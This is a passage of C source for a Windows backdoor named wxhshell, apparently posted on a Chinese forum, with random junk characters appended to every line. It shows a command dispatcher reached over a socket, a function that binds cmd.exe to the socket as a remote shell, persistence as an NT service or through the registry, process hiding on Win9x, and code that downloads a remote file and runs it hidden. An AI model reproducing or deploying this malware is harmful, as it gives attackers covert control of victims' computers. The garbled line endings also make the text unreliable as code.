  } u#<]>EtbB  
  else { PX] v"xf  
A:(uK>5{Kk  
    switch(cmd[0]) { *v&RGY[>  
  X +R_TC  
  // 帮助 =UN:IzT  
  case '?': { he@swE&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3V]a "C   
    break; |>)mYLN!y  
  } gC.T5,tn  
  // 安装 GU`2I/R  
  case 'i': { KV2X[1  
    if(Install()) &CgD smJo#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FU zY&@Y  
    else = 4L.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e!#:h4I  
    break; wuCODz@~  
    } "\ md  
  // 卸载 , {^g}d8  
  case 'r': { %|Vq"MW,I  
    if(Uninstall()) 1ARIZ;H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QMP:}  
    else ?uQpt(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -VL3em|0  
    break; Jh1fM`kB5K  
    } #\qES7We 6  
  // 显示 wxhshell 所在路径 * -)aGL  
  case 'p': { oID, PB*9  
    char svExeFile[MAX_PATH]; c{[WOrA~#  
    strcpy(svExeFile,"\n\r"); ~9=g"v  
      strcat(svExeFile,ExeFile); TD'1L:mv  
        send(wsh,svExeFile,strlen(svExeFile),0); oT OMqR{"  
    break; %0 S0"t  
    } v2NzPzzyb  
  // 重启 8I%1 `V  
  case 'b': { ynhH5P|6,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5n<Efi]j  
    if(Boot(REBOOT)) t+t&eg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HzV3O-Qz]  
    else { K7|BXGL8r8  
    closesocket(wsh); WukD|BCC  
    ExitThread(0); gU:jx  
    } YRFM1?*  
    break; Dcq^C LPY  
    } 9#+X?|p+0  
  // 关机 pnWDsC~)  
  case 'd': { cOSUe_S0w[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TeHR,GB  
    if(Boot(SHUTDOWN)) ^VD14V3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-59#S&?tB  
    else { 2]|+.9B  
    closesocket(wsh); &12.|  
    ExitThread(0); 92EvCtf  
    } R"jX9~3Ln  
    break; 5Jd,]~KAP  
    } yo5|~"yZY  
  // 获取shell t2>Vj>U  
  case 's': { BO^e.iB/  
    CmdShell(wsh); c8h 9  
    closesocket(wsh); (c;$^xZK  
    ExitThread(0); ;tO(,^  
    break; IsI\T8yfc  
  } :EZTJu  
  // 退出 ne%ckW?ks  
  case 'x': { Gmc0yRN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /J^yOR9  
    CloseIt(wsh); O3S_P]{*ny  
    break; mU;TB%#)  
    } yA~W|q(/V  
  // 离开 N7XRk= J  
  case 'q': { Y:O%xtGi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {=TD^>?  
    closesocket(wsh); "~tEmMz  
    WSACleanup(); L49`=p<  
    exit(1); rQU;?[y  
    break; ,{$:Q}`  
        } 7P=j2;7 v  
  } qvCl mZ  
  } p\Jz<dkN1  
J*.qiUAgW  
  // 提示信息 mhL,:UE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )tB mSVprl  
} R4{2+q=0  
  } )]'?yS"  
E1=]m  
  return; Lf3:' n  
} cJ&%XN  
2%QY~Ku~  
// shell模块句柄 J?HYN%  
int CmdShell(SOCKET sock) }{s<!b  
{ jlItPd C v  
STARTUPINFO si; bEbnZ<kz*  
ZeroMemory(&si,sizeof(si)); m3,i{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YoJN.],gf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OPar"z^EV  
PROCESS_INFORMATION ProcessInfo; b2hB'!m  
char cmdline[]="cmd"; ~b*f2UVs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V1M oW;&  
  return 0; k/Z}nz   
} g9g^zd,  
V#zDYrp  
// 自身启动模式 n>{ >3?  
int StartFromService(void) z6\Y& {  
{ sa{X.}i%E  
typedef struct Ygr1 S(=  
{ w[t!?(![>  
  DWORD ExitStatus; Iq MXd K|  
  DWORD PebBaseAddress; to2dkU  
  DWORD AffinityMask; y8VLFe;  
  DWORD BasePriority; .xS}/^8iD  
  ULONG UniqueProcessId; wUab)L  
  ULONG InheritedFromUniqueProcessId; J=ZNx;{6  
}   PROCESS_BASIC_INFORMATION; <^{|5u  
|d&a&6U:  
PROCNTQSIP NtQueryInformationProcess; *22}b.)  
>zVj+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QOMh"wC3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GHfsq|*j,Z  
UT%^!@u  
  HANDLE             hProcess; 7*`cWT_X  
  PROCESS_BASIC_INFORMATION pbi; ki48]#p  
5 ^+> *z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;CD@RP{$n  
  if(NULL == hInst ) return 0; -:&qNY:Vp  
/aP4'U8ov  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W&qE_r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?"\X46Gz;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zQ&`|kS  
\:, dWL u  
  if (!NtQueryInformationProcess) return 0; Cwl#(; @  
q3n(Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  1)U%p  
  if(!hProcess) return 0; A70x+mjy^T  
r$<[`L+6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 :<f[l  
8SR~{  
  CloseHandle(hProcess); eKsc ["  
PQDW Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ED [` Y.;  
if(hProcess==NULL) return 0; l@Uo4b^4x  
Ep)rEq6  
HMODULE hMod; zo4 IY`3  
char procName[255]; LR|LP)I  
unsigned long cbNeeded; gmd-$%"  
kWZ?86!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =J:6p-\*  
$# klgiL  
  CloseHandle(hProcess); e@|/, W   
 !*5vXN  
if(strstr(procName,"services")) return 1; // 以服务启动 3=SIIMp7=  
)*Xd  
  return 0; // 注册表启动 *z&m=G\  
} gTa6%GM>  
Y%m^V?k  
// 主模块 KF(N=?KO  
int StartWxhshell(LPSTR lpCmdLine) FwKT_XkY  
{ b\& |030+  
  SOCKET wsl; ?VaWOwWI  
BOOL val=TRUE; lky{<jZ%  
  int port=0; K =nW|^  
  struct sockaddr_in door; m WN9/+!  
gJz~~g'  
  if(wscfg.ws_autoins) Install(); (r78AZ  
OiAP%7i9  
port=atoi(lpCmdLine); *c9/ I  
ruiAEC<Ej  
if(port<=0) port=wscfg.ws_port; 0Rgo#`7l  
WCJ$S\#  
  WSADATA data; QU{|S.\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D; i%J  
T$)N2]FE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i^ `]TOP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^FJ .C|l(  
  door.sin_family = AF_INET; y(!J8(yA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `IN/1=]5  
  door.sin_port = htons(port); jG~zpZh  
Y_S>S( 0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oS.fy31p  
closesocket(wsl); 7S'3U}Y>VX  
return 1; (nL''#Ka  
} @'XxMO[Z!<  
~ A?  
  if(listen(wsl,2) == INVALID_SOCKET) { w&VMb&<  
closesocket(wsl); cVk&Yp;[*  
return 1; `q":i>FP2  
} C5k\RS9  
  Wxhshell(wsl); wd 86 y  
  WSACleanup(); Bg3`w__l;  
,j^z];  
return 0; ! 3&_#VO  
afE`GG-  
} >Z-f</v03  
p)'.swpJ  
// 以NT服务方式启动 %z9eVkPI~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ii,/omn:  
{ (?[^##03MN  
DWORD   status = 0; E6 glR  
  DWORD   specificError = 0xfffffff; -`knSR  
`GGACH3#s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k(As^'>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1"7Rs}l7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e&*< "WN  
  serviceStatus.dwWin32ExitCode     = 0; |^ K"#K  
  serviceStatus.dwServiceSpecificExitCode = 0; h0;PtQb1  
  serviceStatus.dwCheckPoint       = 0; 0uZ 'j  
  serviceStatus.dwWaitHint       = 0; C B&$tDi  
'(N -jk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ hoz<Ns  
  if (hServiceStatusHandle==0) return; AC'$~4  
8~q%H1[I\N  
status = GetLastError(); KNH.4A  ,  
  if (status!=NO_ERROR) z^xrB$8 u  
{  +=Xgi$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ vWcQ6m  
    serviceStatus.dwCheckPoint       = 0; $mS] K!\  
    serviceStatus.dwWaitHint       = 0; 39j "z8 n  
    serviceStatus.dwWin32ExitCode     = status; |gl~wG1@  
    serviceStatus.dwServiceSpecificExitCode = specificError; KaRdO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )+!~xL  
    return; /<J&ZoeJB  
  } qhNY<  
S4qj}`$ Yv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F% <hng%k  
  serviceStatus.dwCheckPoint       = 0; $]H^?  
  serviceStatus.dwWaitHint       = 0; Hjho!np  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aDXdr\ C6  
} 1K<4Kz~  
kZ^}  
// 处理NT服务事件,比如:启动、停止 g8I=s7cnb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y:\ ^[y IQ  
{ vO2I"Y*\  
switch(fdwControl) C9?R*2L>  
{ !%pY)69gv  
case SERVICE_CONTROL_STOP: +s(JutC  
  serviceStatus.dwWin32ExitCode = 0; 4s{_(gy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HC'k81Q  
  serviceStatus.dwCheckPoint   = 0; <M//zXa  
  serviceStatus.dwWaitHint     = 0; EqY e.dF,  
  { +}MV$X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }M9R5!=q  
  } )@%wj;>a  
  return; OIT9.c0h  
case SERVICE_CONTROL_PAUSE: W6=j^nv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QEUr+7[  
  break; mQVc ZV  
case SERVICE_CONTROL_CONTINUE: GQZLOjsop  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?k6P H"M  
  break; -]!m4xvK  
case SERVICE_CONTROL_INTERROGATE: v7;zce/~  
  break; rkp 1tv  
}; ?52{s"N0>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'eKvt5&@  
} vkQ81PEt  
$-Ud&sjn  
// 标准应用程序主函数 LdSBNg#3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^\Bm5QkS  
{ ]}K\&ho2  
N S^(5g  
// 获取操作系统版本 QH_0U`3  
OsIsNt=GetOsVer(); o_!=-AWV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m -{t%[Y  
hWzjn5w3  
  // 从命令行安装 . kv/db  
  if(strpbrk(lpCmdLine,"iI")) Install(); $}{u6*u.,  
urJ>dw?FI  
  // 下载执行文件 O{0TS^  
if(wscfg.ws_downexe) { i0,'b61qE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AixQR[Ul*c  
  WinExec(wscfg.ws_filenam,SW_HIDE); 95`Q=I|i  
} 3 #fOrNU2  
 zw13Tu  
if(!OsIsNt) { jGM+  
// 如果时win9x,隐藏进程并且设置为注册表启动 \,U#^Vr  
HideProc(); f?-=&||f78  
StartWxhshell(lpCmdLine); {i:5XL   
} &}TfJ=gj  
else ."N`X\  
  if(StartFromService()) x2P}8Idg?A  
  // 以服务方式启动 3' HtT   
  StartServiceCtrlDispatcher(DispatchTable); {I/|7b>@r  
else rZ.,\ X_  
  // 普通方式启动 kh11Y1Q0d  
  StartWxhshell(lpCmdLine); w|~d3]BqT  
a6UW,n"n  
return 0; s_`PPl_D$K  
}
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只看该作者 1 发表于: 2006-10-10
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